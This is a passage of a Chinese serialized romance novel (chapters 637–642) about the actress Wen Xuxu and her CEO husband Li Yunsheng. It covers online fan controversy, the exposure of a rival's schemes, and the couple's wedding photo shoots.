温栩栩松了口气扭头看了陈升一眼内心叹息,就听陈升抬高声音:“温栩栩,就算我早知道你结婚我还是会喜欢你,我没办法忽略对你的感情,我知道你可能会拒绝我,但感情这种事是没办法掩盖的……” 温栩栩已经感觉到男人身上传来的森森冷意。 她觉得自己再不解决陈升,他可能真的要被封杀了。 温栩栩停下脚步尽量让自己语调平淡:“陈老师你只是想把自己的感情宣泄出来让她知道。现在她和我都知道了,林青黛选择拒绝,我同样也是如此。希望陈老师能尽快走出来不要因为这虚幻的本就不该存在的感情影响了你的生活。” 她顿了下又缓缓道:“或者,陈老师觉得林老板真的希望她的爱慕者因为爱慕她整日做那些没有结局的空梦吗。如果林青黛知道恐怕只会评价一句‘蠢货’。” 言尽于此温栩栩又摇晃了下黎云笙的衣袖冲他笑笑这才跟他相携离去。 车内气氛压抑沉重,温栩栩抚着额头看身旁的人,司机大气不敢出,生怕说错什么。 “你今晚来接我说不定明天要传什么绯闻了。”温栩栩左手支着下巴喉间溢出一抹笑来。 黎云笙面色淡漠的瞥她一眼:“你认为现在的重点这个?” “那不然重点还是什么。”温栩栩眼尾微挑冲他笑起来:“总不该还要因为陈升跟我生气吧。” 黎云笙没说话,似是不想理她。 温栩栩又笑:“黎云笙你是喜欢上我了吗。” 她眼瞳闪烁着几分光:“如果不喜欢为什么还会在乎这些。” 黎云笙皱眉,他狭长凌厉的黑眸中尽是冷意:“温栩栩,我们是夫妻。” 温栩栩被这话逗笑了,她笑着笑着眼睛都弯起来:“如果你承认在乎我,我会很高兴的。” 黎云笙危险的眯着眼睛嗤笑一声。 温栩栩垂眸,眸中掠过一抹暗光,再抬头时却恍若什么都不在乎似的:“好啦,我们不聊那些不开心的事。” 回到别墅他并没有心思去做别的,也可能是觉得她真的累了,只是把人拥进怀里抱着,听到她在身边轻微呼吸声知道她已经睡过去才在她唇角印下一吻。 手放在她的小腹,面色有几分挣扎。 房间内一片漆黑,他在这夜色中望着身旁的人,直至沉睡。 颜佳雨的事情还挂在热搜上,她就是想撤都撤不下来,她的真面目已经完全暴露。 不过热搜词条也有了关于温栩栩的新消息。 起因是黎云笙和温栩栩一前一后上车被人拍到,圈内顶流温栩栩跟黎云笙一起上车! 当时网络上纷纷猜测和温栩栩一起上车的男人是谁,还觉得那是温栩栩的圈外男友,有人猜测立刻有人曝光黎云笙黎氏总裁的身份。 温栩栩的粉丝可不敢贴着这位,生怕舆论闹大了热闹黎氏总裁让他给自己姐姐穿小鞋。可粉丝一想,不对啊!这位是黎氏总裁黎云笙! 温栩栩黑粉纷纷嘻嘻哈哈嘲讽温栩栩才火了没几天就跟人谈恋爱骂她赶紧退圈。 【温栩栩才多大年纪就眼睛长到男人身上了?不是说专注事业为什么还要搞男人?粉丝也别洗了,再怎么洗也洗不干净了。看那照片拍摄的时间晚上十点多!孤男寡女晚上十点多上了同一辆车你说他们之间真的清白吗?不是男女朋友就是p友关系,啧,温栩栩私生活可真够乱的,好好看看这就是你们粉的爱豆!】 温栩栩和江恒的CP粉此刻成为主力军怒斥黑粉胡说八道,并指出照片中明显还有个往外探头的司机,说不定就是同事,如果真的是黎氏总裁那送自己公司艺人一程怎么了! 话是这么说,但CP粉心里还真有点发虚,温栩栩粉丝此刻闭麦,只要不出声就没人能攻击她们,但凡看到有人骂脏话各种胡说八道就把名字记下来发到超话里组织姐妹们拉黑举报一条龙。 有人怀疑黎云笙身份,有人嘲那根本不是黎氏总裁。 结果这类评论才发上去没多久黎氏旗下公司乃至黎氏娱乐官方号冒出头发了一张黎云笙的正面照,这下微博差点瘫痪。 【舔嘴巴舔嘴巴,差点就嘤嘤嘤出声了,这美貌是真实存在的吗!看看我老公这浓眉黑眸还有那挺直的的鼻梁性感的嘴巴,想亲想摸想嘿嘿嘿!老公看我!】 【楼上想桃子吃哦!黎总分明是我未婚夫,我们马上就要结婚领证拍婚纱照举办婚礼了!】 【被楼上几位吓醒了看到身边睡得正熟的老公我放心了,你们都在做梦。】 【黎总这简直神颜!看他一眼我跟黎总未来孩子的名字都想好了!】 【所以……黎氏娱乐的大老板黎总跟温栩栩晚上十点多一起上了同一辆车,是这意思吗,绝美神颜霸总*娱乐圈巅峰顶流,我可以我可以!】 这评论一冒出头温栩栩粉丝倒吸一口凉气,纯被吓得。 她们不可以啊!她们不敢啊! 第638章 想给她个婚礼 温栩栩粉丝纷纷洗广场,一点不想跟黎氏总裁扯上关系,为此都把江恒和夜阑拽出来了。 【可以什么可以,我们作为粉丝绝不可以!我们姐姐跟黎总关系清白着呢!别提我们姐姐的资源,我们姐姐的资源都是靠自己挣来的,不清楚的自己去看粉丝总结得到资源的各种渠道!】 【对对对,我们姐姐单身独美,跟江恒和夜阑老师在一起都不会跟黎氏总裁在一起,我们不配,黎总钻石单身汉我们不敢跟黎总搭CP,各位高抬贵手别折腾了!】 【这一刻我竟然想承认江恒和我们栩栩的CP了。】 不怪温栩栩的粉丝这么激动,黎云笙的身份摆在那里,是黎氏的大BOSS,谁疯了跟他组CP,别没吃到红利惹怒了大BOSS被封杀了。 虽然黎氏总裁是长得好看但那凶名总不是假的,不然他怎么镇得住这么大的集团? 温栩栩粉丝为了不让温栩栩跟黎云笙组CP已经开始把她往江恒身上扯,还发出温栩栩跟江恒拍摄电视剧时的路透照,CP粉开心的在他们的CP超话发P好的婚纱照和各种新婚小段子,气的温栩栩的小羽毛想骂人。 温栩栩粉丝为了温栩栩的清白特地查出黎云笙其中一套别墅就在女团别墅区,所以黎云笙作为大老板担心员工回家不安全送员工回家这个也是可以理解的吧! 本来还想磕一磕霸总和顶流的网友泪奔了,刚粉上的CP就被拆了,甚至还有颜佳雨和黎云笙的CP粉来这里攻击温栩栩。 【温栩栩的粉丝也是真敢想啊,你们正主配吗?颜佳雨跟黎云笙才算是一起长大一起念书一起经历过那么久,甚至最纯爱的那些年都是颜佳雨陪在他身边,就这黎云笙能看上温栩栩?哦,对,温栩栩不是还有个称号是小颜佳雨吗,那大概是黎总看到温栩栩长得像颜佳雨所以多照顾了点,奉劝温栩栩粉丝少做点白日梦。就算他俩不是真的,他跟温栩栩也没可能!】 温栩栩黑粉嘲讽骂她们想太多,讥嘲黎云笙是黎氏娱乐的总裁什么美女没见过啊,再提到黎云笙的身份说黎云笙绝对不会跟一个小明星谈恋爱,说的那叫一个信誓旦旦。 许愿也刷到这条热搜,看着网络上都在讨论这事,特别是看到黑粉说黎云笙不会跟温栩栩谈恋爱都无语了,也不知道谁给那黑粉的自信。 他俩可不止恋爱关系,那是受法律保护的真夫妻。 黎云笙和温栩栩这事儿上了热搜,群里那群人又开始活跃起来。 韩城直接放了黎氏官博发的那张照片甩到群里,紧接着就是一只狗子抽烟的表情包。 【韩城:人呢,都出来乐呵了,黎云笙你这是打算公开了?@黎云笙】 见黎云笙没理他还特意多@了好几次。 黎云笙看到消息时韩城已经@了黎云笙无数条,并且还私聊了十几二十条。 黎云笙掀了掀眼皮。懒得回他私聊直接到群里。 【黎云笙:别再私聊我发些没用的,再发拉黑。】 韩城发了张狗子开枪的表情包,内心骂道“狗东西”。 黎云笙跟韩越聊了几句没理炸毛的韩城,话题逐渐转到温栩栩身上。 【黎云笙:我和温栩栩即将举办婚礼。】 【韩城:??来真的?】 【韩越:恭喜了。】 【盛景炎:恭喜。】 【江惊蛰:你想好了吗。】 江惊蛰有些忧心私聊黎云笙,他还记得颜佳雨的病也记得温栩栩被当成活血库一次次为颜佳雨放血,她不希望黎云笙到现在还在玩弄温栩栩的感情。 【江惊蛰:你是真的想跟温栩栩结婚还是为了什么别的目的。】 【江惊蛰:你还想让颜佳雨有一具健康的身体吗。】 他等了片刻都没能等到黎云笙的回答内心微微一沉,两分钟后收到黎云笙的消息。 【黎云笙:那次宴会让我看清了一个人,所以我决定放弃她。】 【黎云笙:我对她没有什么亏欠,一直照顾她或许不是真的喜欢她只是一种习惯,习惯照顾她习惯被她利用。那次宴会让我知道她和温栩栩的区别。】 【黎云笙:最初我把温栩栩当成替身,可现在我发现让她当颜佳雨的替身真让她受委屈。】 【黎云笙:以前看不到颜佳雨,偶尔看到她的节目和电视剧才会想念。可现在有了温栩栩我再没想过颜佳雨,或许也是想过的,我想的是如果温栩栩也做这种动作说这种话会是什么表情。温栩栩在我心里已经完全取代颜佳雨。比如颜佳雨我更喜欢温栩栩的爱憎分明和古灵精怪。】 【黎云笙:跟她举办婚礼是因为我欠她一场婚礼也想跟她举办一场属于我们的婚礼。】 【黎云笙:所以……颜佳雨跟我已经没有任何关系。】 江惊蛰松了口气回复了个“好”后去群里跟随队形也发了“恭喜”,结果韩城早已经歪楼到要给黎云笙当伴郎这事儿上叽歪这不停,江惊蛰无奈的笑了笑。 知道黎云笙去接温栩栩这消息的颜佳雨承受不住打击,这么多天黎云笙和温栩栩相关的从没上过热搜。 现在偏偏挂在热搜上,这说明什么?说明黎云笙不打算藏着掖着了,他打算真的承认两人的关系。 她因为黑热搜的事情心烦意乱甚至联系不到黎云笙,可偏偏黎云笙又跟温栩栩在一起…… 她一直坚持的黎云浩还有什么必要吗?黎云浩有什么未来?他斗得过黎云笙妈? 她一遍又一遍的打开微博热搜去看黎云笙那张照片,最后克制不住的将黎氏公布的黎云笙的照片保存到手机上,眼神痴狂。 她就该选择黎云笙嫁给黎云笙做他的妻子。 可是……他已经娶了温栩栩。 颜佳雨面色狰狞,娶了温栩栩又能怎样? 黎云笙那么喜欢她一定会同意跟她在一起的,至于温栩栩只是一个能给她提供新鲜供体的废物而已。 不过也不能马上把黎云浩踹开,还是要让黎云浩身败名裂才行。 颜佳雨眸光阴暗,是黎云浩的错,她绝对,没有错,怪就怪黎云浩太没用了! 第639章 她的“男友衬衫” 颜佳雨的热搜还挂在网上,黎氏公关部想撤热搜但却撤不下去,她们撤热搜,盛华就会买热搜,她们做的明显了也只会给颜佳雨招黑。 且,盛华出面了,那明显就是许愿为温栩栩出头了,她们真要因为颜佳雨得罪盛华得罪许愿吗? 最重要的是,颜佳雨只是他们黎总私生子哥哥的未婚妻,又不是他的爱人。许愿呢?许愿未婚夫是盛景炎,盛景炎跟她们黎总是好友,这样看来这件事只能由他们黎总出面。 可黎氏公关部的员工没能联系上黎云笙,等联系到黎云笙时热搜已经挂了两天了。 “黎总,现在的情况很复杂,盛华那边应该是有人专门盯着这次的事所以一旦撤热搜那边就会马上买上去,次数多了我们也担心对颜影后造成什么其它影响。” “平常其它公司不会特意针对我们黎氏,但盛华不一样……所以黎总您看我们接下来需要怎么做?还是您联系下许总和盛总看能不能协商?” 这件事他们是真的没办法了。 黎云笙接到这通电话时温栩栩就窝在书房的软沙发上玩游戏,她在家里总是比较松散的,头发也没梳理,懒懒散散的却透着几分可爱。 她身上的衣服都还是黎云笙的衬衫,她在女星中个子算高的,但黎云笙太高,近190的身高,他的衬衫穿在她身上像是大了几码,扣子也不好好扣,上面两颗没扣上,只微微瞥一眼就能看到些许风光。 今天还是温栩栩哼哼唧唧的要穿他的衣服,说是“男友衬衫”,她穿着比他好看,整个衣柜的衬衫都被她翻了一遍,还嘀嘀咕咕休假的时候穿这件,出席节目穿那件,当睡衣的又是哪件,完完全全把他的衣柜当她自己得。 他能怎么样?他又不缺这几件衣服,小妻子喜欢穿他当然纵着。 且…… 她穿上这些确实好看。 用温栩栩的话说就是随便穿件衬衫中间搭上条腰带就可以出门了。 啧。 “你看我干什么,还看了这么久。” 温栩栩玩完了一把游戏躺在沙发上仰着小脸看他,她的眼睛是真的很大,书房的灯也很亮,这样照过来像是一层带着柔雾的光打在她身上,带着点点温柔的疏离感。 “颜佳雨上热搜这件事你知道多少。” 温栩栩笑了笑,笑的很灿烂。 她将平板丢到沙发上,坐到他大腿上,双臂揽住他的脖子,笑眯眯的看着他:“我什么都不知道,不过黎氏那几个电话都是我挂的,不是你说这几天要陪我的?总不能真的让公司的人打扰你。” “黎氏那么大的公司两天没有你就会倒闭吗,那你那些经理人也太没用可以直接开除了。” 电话有打过来,全都被温栩栩挂断甚至拉黑了。 她知道许愿会对付颜佳雨,但不知道许愿什么时候用什么方式什么词条让她上热搜,所以这件事她也算不知道,回答的没什么问题啊。 她理直气壮,却被黎云笙捏住了小脸。 她撇撇嘴埋头进他怀里:“你总不能真要因为一点小事要生我的气吧,我可是你老婆。” 她总是这样,最能拿捏男人,也最能拿捏黎云笙,她就是故意做出这副柔弱姿态,楚楚可怜的模样。 他当然知道温栩栩是装的,可偏偏他就是喜欢她这样,这也算是一个愿打一个愿挨,什么锅配什么盖儿。 “你说得对,你是我的妻子,我当然会想着你。” 黎云笙深深的看了她一眼,捏着她下巴吻上去。 温栩栩眼底里都是狡黠的光。 他知道温栩栩藏着坏心思,她一直都是这样的,温栩栩也猜到他知道,她也是故意这样说。 若是以往他或许会推开温栩栩,但这次他选择了放任。 他对颜佳雨已经有了太多例外,这些年他做了太多事才会让颜佳雨愈发有恃无恐。 曾经他记忆中的颜佳雨是什么样子的?没有被黑暗的社会荼毒,像是一朵未被染黑的花朵,温柔体贴却又优雅迷人,他甚至可以想到所有褒义词去形容颜佳雨,因为在他心里颜佳雨就是这样完美的。 但是这些年发生太多事颜佳雨毕竟已经是黎云浩的未婚夫,他已经对颜佳雨没有了那些执念,他也清楚真正被自己放在心上的是陪了他五年有余的温栩栩。 他对颜佳雨只是想给她些便利。 但是昨晚许愿给他的私人邮箱发了很多资料,全都是有关于颜佳雨的。 当年颜佳雨接近他并非不知道他的身份,她就是知道他是黎家真正意义上的嫡系继承人所以才会刻意得接近他。 曾经在他面前的天真烂漫更是装出来的。 她从来都是一个阴狠毒辣的女人,少女时期就是如此,当初想接近他的其他女性都曾被她用尽手段打压或者联系人买通了那些混混做尽了恶心的事逼她们退学或者转学,其中更有心理脆弱的人抑郁症甚至跳楼自杀。 当初他只以为那些人是被他的爱慕者设计的,可真想摆在眼前,全部都是颜佳雨安排好的。 从最开始她的目的就很明确,她只是想嫁入豪门,嫁给真正的继承人,而黎云笙就是她选中的对象。 颜佳雨当初放弃他,也是因为那场车祸,她一位黎云笙会死,所以才会在黎云浩追求她后马上答应。 黎云笙呢?为了抓出黎氏的内鬼故意装病让那些人以为他病弱,颜佳雨也是因此才不敢继续跟她在一起,一直谋划着希望黎云浩继承黎家。 那次江夜回举办的宴会就是颜佳雨为了黎云浩精心设计的,让旁人以为他有狂躁症。 狂躁症是什么病?是精神病,谁家继承人能有精神病?这件事一旦传出去黎氏股价必定动荡。 那次若非有温栩栩,那件事也不会那么轻松完美的解决。 真正跟他站在一起的只是温栩栩,他的爱人是温栩栩,不会是颜佳雨,他已经看清了。 他只是觉得可笑,自己险些因为颜佳雨去伤害温栩栩。 好在有些事他还没来得及去做,也希望那些事温栩栩永远不要知道。 第640章 被拉黑了 深夜,温栩栩已经睡过去,黎云笙眸光沉沉的看着身边的小妻子,只在她眉宇间轻吻了下,然后离开卧室到了书房。 他还是需要联系许愿,问清楚许愿究竟想怎么处理。 他没想继续维护许愿,只是想知道最终结果。 翻开手机他突然想到了一件事,温栩栩都已经拉黑了他的员工,那颜佳雨呢? 这次的事情闹得这么大,没道理颜佳雨没有来电话。 所以,温栩栩拉黑了颜佳雨的号码? 黎云笙微微扬眉,翻看了下,果然被拉黑了。 他失笑,没有立刻将人拉回来,反而给许愿去了电话。 但接电话的不是许愿,而是盛景炎。 “黎云笙,你要不要看看现在几点?”盛景炎嗓音带着点哑意,似乎是在睡梦中被吵醒了,黎云笙哦了一声:“不是你和许愿大半夜给我打电话的时候了。” 盛景炎:“……” 这事儿没法反驳,他确实干过这事儿。 “你非要报复回来?以前没见你这么小心眼儿。”盛景炎吐槽。 黎云笙眼角抽了抽:“我有事要问许愿。” 话音才落,手机那头换了人,是许愿的声音。 “找我什么事。” 她声音懒洋洋的,没什么起伏。 黎云笙还没开口,许愿便又说了:“如果是为了颜佳雨打来想要我撤热搜那没必要,她做事做的太绝你不肯为栩栩出这口气我却是要出的。” 她话说的没错,若非颜佳雨故意找茬联系人装作温栩栩的粉丝演戏一样刺伤自己,也不会被她顺藤摸瓜查出真相。 要怪就怪颜佳雨自作孽。 “我没想让你撤热搜。” 黎云笙话才出口,许愿嗤了一声:“哦,有良心了?不容易啊,这是想起自己老婆是谁了。” 黎云笙:“……” 还真是每句话都阴阳怪气啊。 “她是我的妻子,我当然会护着她。” 许愿又是嗤笑一声:“无所谓,反正不论发生什么事她身后都会有我。” 黎云笙跟她沟通不下去了:“许愿,我是温栩栩的丈夫,你确定要跟我这样沟通?你这样会让温栩栩难做。” 许愿淡淡的嗯了一声:“我们聚餐的时候我不也这样?” 行,黎云笙这次是真没话说了。 他讨厌许愿,许愿也讨厌他,他们俩这辈子是不可能和解了。 黎云笙挂断电话。 许愿哼了一声依偎进盛景炎怀里,嘟囔着:“拉黑他,大半夜不睡觉扰民,讨厌。” 盛景炎:“……” 你确定不是因为迁怒吗? 黎云笙挂了电话就将颜佳雨的号码从黑名单里面拉出来,下一秒就接到了颜佳雨的电话。 黎云笙眸光闪了闪,颜佳雨总不该一整天都在给他打电话。 他眼神复杂,却还是接通了颜佳雨的电话,才接通那头就传来颜佳雨带着些哭腔的声音:“云笙你怎么才接我的电话……” “栩栩有点小孩子心性,拉黑了你的号码,她不喜欢你总是联系我。” 黎云笙就这么直白的说出这句话。 颜佳雨卡壳一瞬,忍不住道:“她怎么能这样……” 她是真的有急事要联系黎云笙啊! “她是我的妻子,她做这些自然是有她的道理。” 颜佳雨已经从他的话里听出来了,黎云笙就是想维护温栩栩了。 她暗自咬牙,一边恨温栩栩一边恨黎云笙对自己太无情,缓了好一会儿才语调轻缓的开口:“云笙,热搜的事你看了吗,那件事我是无辜的,是我的经纪人看不惯温小姐所以……” “既然这是真相,你自然可以把这一切告诉你的粉丝和网民,触犯法律的人自然要受到处罚。”他就这样毫不留情的开口。 颜佳雨却觉得黎云笙在点自己。 触犯法律的当然不是经纪人,而是她自己。 可是这事儿能说吗!她可不能在黎云笙面前损了形象。 “云笙,她跟在我身边这么多年,我们感情有多深厚你是知道的,云笙你帮帮我把热搜撤掉好不好。” 黎云笙却淡淡问道:“警察没去找你吗。” 一句话就让颜佳雨毛骨悚然。 她说了这么多黎云笙却当没听到,只问她警察有没有去找她。 这件事是她自导自演的,经常当然找了,但因为他跟黎云笙有点关系,且请了黎氏的律师才让自己从警局出来的。 她一时无言,觉得内心有点发堵。 “云笙……” 她声音有些哀怨,黎云笙淡淡道:“你没有在警局就已经是我最大的仁慈。” 颜佳雨身体都在发抖,却又听到黎云笙那句冰冷的话:“你以为你伤害的是谁,你伤害的是我的妻子。” 颜佳雨唇瓣都在抖。 她多想问,怎么现在你知道温栩栩是你的妻子了?你早做什么去了? 她这次故意伤害温栩栩你不是也知道的吗?又是谁故意迷晕温栩栩让她以为是太累了?又是谁暗中命人抽了温栩栩的血?不都是你黎云笙吗! 如果不是你一次次的行动让她知道你根本不在乎温栩栩,她又怎么会毫无下限的认为温栩栩可以随意欺负? 不都是你先给她开了这个口子吗? 可这话颜佳雨没办法说出口,她怕真的说出口了黎云笙就真的不管自己了。 她没办法,只能咬着唇瓣,好半天才哆嗦着说:“云笙,你帮帮我,你帮我把热搜扯了,我保证以后我身边的人都不会再伤害温栩栩了,除了你没人能帮我了。” 黎云笙眸光晦暗,声音冷淡:“在将你拉出黑名单前我联系了许愿,你猜她说什么。” 为什么又跟许愿有关系! 果然又是许愿吗! 颜佳雨浑身都在发抖,哑着嗓子问:“许愿说了什么。” “这次的黎氏在为你撤热搜,但每次撤掉热搜后盛华都会重新将热搜买上去,许愿说她就是要为温栩栩出一口气,这次不管是谁来他都不会轻易放过你。” “你有这个时间,不妨想想接下来该怎么做,你利用我的关系从警局出来,但许愿又是什么人?她身边接触的又是什么人?如果她能完全证明是你所为你猜她会做什么。” 巨大的恐惧完全笼罩颜佳雨。 许愿接触的都是谁,黑道白道她谁不认识? 许愿会做什么! 她会将自己重新丢进警局!甚至将自己最后的脸面在地上摩擦。 许愿……那才是个魔鬼! 她甚至开始后悔自己最开始为什么不听许愿的,为什么要有做这些伤害温栩栩的事,如果不做这些……她也不会被逼到绝路! 第641章 看到他就想亲吻 “云笙!云笙你帮帮我!许愿不会放过我的!她一定不会放过我的!” 颜佳雨只能将一切都押到黎云笙身上。 黎云笙会帮自己的,他一定会帮自己的! 黎云笙声音却没有任何变化,仍然是平淡的。 “你不是说过,做这一切的是你的经纪人,既然是她,你又何必在意。” 话落,黎云笙挂断电话。 颜佳雨有些崩溃的抱住自己的头,她知道黎云笙不打算给自己机会了。 该怎么做?能怎么做? 除了将经纪人推出去挡枪也没有其他办法了……她需要找好接口好好算一算接下来该怎么做。 反倒是黎云笙眼底都是凉意。 颜佳雨会怎么做?她这样自私自利的人一定会将她的经纪人推出来顶罪,他不拆穿颜佳雨就算是最大的仁慈。 至于她的经纪人,如果那人是个好人,也不会任由她做出伤害旁人的事。 这些年她帮颜佳雨做了不少事,落得这步田地也是她应得的。 黎云笙做的事温栩栩一概不知,只是男人回去时哼哼唧唧耍赖似的依偎进他怀里。 …… 这半个月时间温栩栩拍完江夜回那边安排的公益广告片参与了几档综艺富余时间拍了杂志封面,所有工作都做完后拍摄两人的婚纱照。 她和黎云笙只是简单的领了证还没有真的拍摄过婚纱照,虽然她在剧中穿过一次婚纱了 ,但现实里为黎云笙穿婚纱还是第一次。 温栩栩请了之前合作过的知名摄影师董婉婉来当自己的摄影师,造型师是黎云笙请的专业团队,她本来就美,造型哪怕简约到极致都带着股高级风。 第一套婚纱就定在影楼,其他几套衣服才需要出外景拍摄,黎云笙最早定的是出国拍摄,温栩栩不想动弹只想在国内,最后选在A市影城和一些风景度假村拍摄婚纱照。 温栩栩其实有点矫情,在有限条件下都只想选最好的,现在设计的这几套婚纱礼服都是半个月前窝在黎云笙怀里唧唧歪歪一定要找最好的设计师,不过她提的条件也不苛刻,就一句话,“最好看最贵的”,还特地配合的跟几位设计师约见面量了尺寸。 有些人可能身材并不完美有些缺陷,譬如身材纤细但有蝴蝶臂就需要买遮上臂的衣裙,有些人腰粗一些可能就会穿加宽的阔腿裤遮掩腰和腿上的肉。 温栩栩这样的不需要遮掩,极简风,黑暗风,奢华风她都能穿出另类风采。 黎云笙在门外等了半个小时门终于被打开。 他侧立一旁抬头朝她看去,眸光微动。 她身材很好,这是所有人都知道的,可此刻看她穿上这件勾勒出身材曲线的白色鱼尾裙礼服还是怔住。 礼服是露肩露背的款式,精致性感的锁骨让董婉婉眼睛都看直了,温栩栩想提起裙摆走到搭好的棚内。 眼前投下小片阴影,黎云笙向他伸出手,温栩栩却得意的扬扬唇攀附着男人侧过身体对着董婉婉,两人衣料相贴。 温栩栩踩着高跟鞋只矮了黎云笙小半头,她一条手臂搭在男人肩上另一只手抚摸男人的唇,两个人离的这样近好像能闻到彼此之间的呼吸声。 黎云笙呼吸略有些急促,漆黑的瞳眸幽深的看着近在咫尺的女人。 为了拍照更入镜她化了精致的妆容,一头长发却只做了个简单的造型盘在脑后露出那天鹅颈和精致的锁骨,她只在脖子上戴了项链就已经足够闪亮,此刻笑吟吟的看着男人,桃花眼都泛着流光。 “我好看吗。”温栩栩唇瓣紧贴着男人的唇,彼此交缠的气息令这 一方小天地都散发着不可言说的暧昧之意。 “你最好看。”黎云笙克制的啜吻她的耳垂。 如果不是时间地点不对他要吻的一定不是耳垂。 温栩栩埋头进他怀里突然被触动眼眶有些发红。 其实算不上突然被触动,在更衣室换好衣服透过镜子看到自己穿上这婚纱礼服时她眼眶就红了。 没有女人不喜欢婚纱,哪怕她是温栩栩。 跟江恒拍戏时是穿过婚纱的,那部剧是黎煌投资,她的服装都是最好的,婚纱也是高定款。 拍那场戏前她一直望着镜子里的自己最终还是取出手机拍了一张身穿婚纱的照片。 那张照片现在还藏在手机里。 那时只觉得穿上婚纱的女孩子果然最漂亮,可现在却觉得现在为黎云笙穿上婚纱的自己更美。 温栩栩是个很聪明的人,唯独在爱情方面没怎么开窍,可说她没开窍她演这类的剧还演得很好能共情。 跟江恒拍剧时时她逛过自己的超话,一次切小号看到跟江恒因为路透照上了几次热搜还特地去CP超话看了看,看到有粉丝发了一条博文,总结喜欢一个人的表现,粉丝总结这些是为了证明江恒喜欢温栩栩,可温栩栩看到这些却想到的是黎云笙。 {爱你一个人,你就会认为他哪里都好,越看越顺眼,哪怕真的有坏毛病但还是忍不住想为他说话想包容他,大概就是 ‘情人眼里出西施’ 爱一个人,会无时无刻想着对方,哪怕是看到一个好笑的段子,好吃的东西,一张可爱的表情包都想分享给他。 爱一个人,想把对方藏起来当做珍宝,但也想把他介绍给身边人,想让亲人朋友都知道他。 爱一个人,离开对方都会忍不住想念。 爱一个人,会希望跟对方做很多事,一起去游乐园,一起看电影,一起看海,一起旅游,只想跟对方做。 爱一个人,会想跟对方产生身体接触,看到他想牵手想拥抱想亲他甚至想跟他做更多亲密的事。 爱一个人,也会担心跟对方分开,会患得患失会变得敏感。} 温栩栩看完这条长微博一点没想到江恒脑海里闪过的就是黎云笙那张冷冰冰的脸。 那时温栩栩想,黎云笙脾气不好还喜欢生气耍性子,但她却不想看到有人说他半句不是,总觉得他很好。 她又看第二条,她看到好玩的有趣的总想分享给黎云笙,有了可爱的表情包也会发给对方。 离开他的确会想念,想跟他做很多事,看到他就想要亲吻…… 第642章 你怎么样都好看 几乎每一条都在明示她喜欢黎云笙,她觉得自己大概是生病了,她是想有家人有亲人但绝不会这么简单的去喜欢一个人。 她觉得那条微博不准,直到拍摄过程中导演说戏时提到她需要想到心里喜欢的人,那一刻她脑中闪过的第一个人就是黎云笙。 她讶然不敢置信,不是不敢相信,只是不希望自己喜欢一个内心有白月光还把她当替身的男人。 可现在……她为他穿上婚纱跟他一起拍婚纱照。 她抬起头露出红红的眼睛,硬是把快流出来的眼泪逼回去,她声音有点哑哑的:“我这样还好看吗。” 黎云笙眼眸一深低头轻轻亲吻温栩栩的眉眼:“你怎么样都好看。” …… “我忍不下去了我要爆发了,他俩拍照就拍照,不知道的还以为在这里拍什么偶像剧呢。”韩城躲在角落里小声叽歪眼里满是酸楚,酸的他想凑上去咬黎云笙一口。 韩越推推眼镜:“长成他们那样随便坐在那都是一幅画。” 韩城不服:“换我跟温栩栩一起那也是一幅画。” 韩越很不给他面子:“去,你现在就过去跟温栩栩拍‘婚纱照’。”看黎云笙不打断你条腿。 韩城憋屈,眼瞅着两个人在影楼的婚纱照拍完了要换衣服去A市的影城继续拍,韩城撇撇嘴:“等温栩栩换完衣服我就带着温栩栩跑路,我也想拍漂亮照片。” 话音才落下眼前黑了一片,韩城叭叭不下去了。 抬头,正是黎云笙阴沉沉的脸,显然把他叨叨的那句话全听见了。 “你想带我老婆去哪里。”他低头挽了挽袖口,似乎等着韩城说的话惹他不高兴了真要揍人。 “你怎么就盯着我呢!你没看到他们都来这里看热闹吗!”韩城不服往后指半天,扭头一看一个人影都没了。 一群王八蛋。 韩城实在是太明白那群不靠谱的随时能把他推出去让人砍两刀,习惯了习惯了……妈的果然还是想把那一窝全拉下水,要死一起死! 再说了!一群人还打不过他黎云笙一个吗! “韩越江行舟江行野他们都来了!你不能就逮着我一个人欺负!”韩城愤愤不平:“谁让你整天在群里炫耀。” 黎云笙冷眼看他,韩城还真有点气:“跟温栩栩一起吃饭你要炫,跟温栩栩一起上班你要炫,整天跟上班打卡似的一天不缺,温栩栩给你发个可爱的表情包你都要炫!你缺了几辈子的爱啊!这次更过分还炫你们拍婚纱!” 韩城理直气壮:“那群里一堆没人要的狗,谁结过婚跟人拍过婚纱照?我们就想看看你们怎么拍那不就组团来参观了吗。” 在另一头看好戏那一堆没人要的狗:受到一万点伤害,伤害来自己方傻瓜。 还组团参观,你当参观景点呢? 黎云笙冷眼看他:“我只听到你说想带温栩栩去拍婚纱照。” 韩城往后退了一步,两只手摩擦的蹭了蹭:“你那么好的老婆,我也想要。” 黎云笙被他气笑了,韩城立马感觉到危险来临撒丫子就往后跑,硬是把人带到没人要的“狗群”里,韩城当机立断躲在江行野身后:“江狗!他要跟我动手!” “……”‘江狗’面无表情的脸上多了道裂痕:“你说什么。” “爸爸!他要动你卧冰求鲤的乖儿子!”韩城张嘴就来完全没节操。 韩越捂脸不忍看这场面,就……很想把他的“韩”姓摘了。 韩越叹了口气:“我们来找你是有点事跟你商量。” 见黎云笙不再看韩城他才继续道:“你跟温栩栩结婚肯定需要伴郎伴娘,我们觉得6、8、10这几个数字比较顺耳吉利,你跟温栩栩商量一下选个数。” 黎云笙也想到这里:“今天我会跟温栩栩商量。” 话还没说完韩城就从江行野身后探出头“哇”了一声,“云笙你老婆真漂亮。” 话音落下就被黎云笙冷冷扫了一眼立刻改口:“嫂子真漂亮。” 黎云笙勉强接受,却见面前几人都有些微的讶然瞧着一个方向。 这次要去影城拍摄婚纱照,温栩栩换的是凤冠霞帔,红色的嫁衣用金色丝线绣了涅槃的凤鸟,一身像烈火一般耀眼的红嫁衣被她穿在身上,窈窕的身姿尽显,头上戴了发髻,眼尾抹了点红色的眼影多了几分媚色映衬着嫁衣,而那桃花眼更是璀璨夺目。 像是从画中走出来清风拂袖不食烟火的神女。 他突然想起一句描写杨贵妃的诗句,“云想衣裳花想容,春风拂槛露华浓”。 同样是红衣,她拍替身短剧穿红衣就是悲壮凄美,可此刻露出整张美艳容貌妍丽五官的温栩栩整个人都透着说不出的媚,仿佛一个挑眉一个扬唇都饱含深意。 韩城捂住眼:“恃靓行凶,这就是恃靓行凶!” 温栩栩挑了挑眉,整个人鲜活灵动,此刻真如从古代而来掩面轻笑:“你朋友怎么也来了,是要跟我们一起拍婚纱照吗。” 韩城在一旁连连点头,韩越忍无可忍:“你够了,能不傻了吗,我就没见过还有人蹭婚纱照的。” “那你现在不就见到了吗。”韩城对温栩栩笑的十分友好。 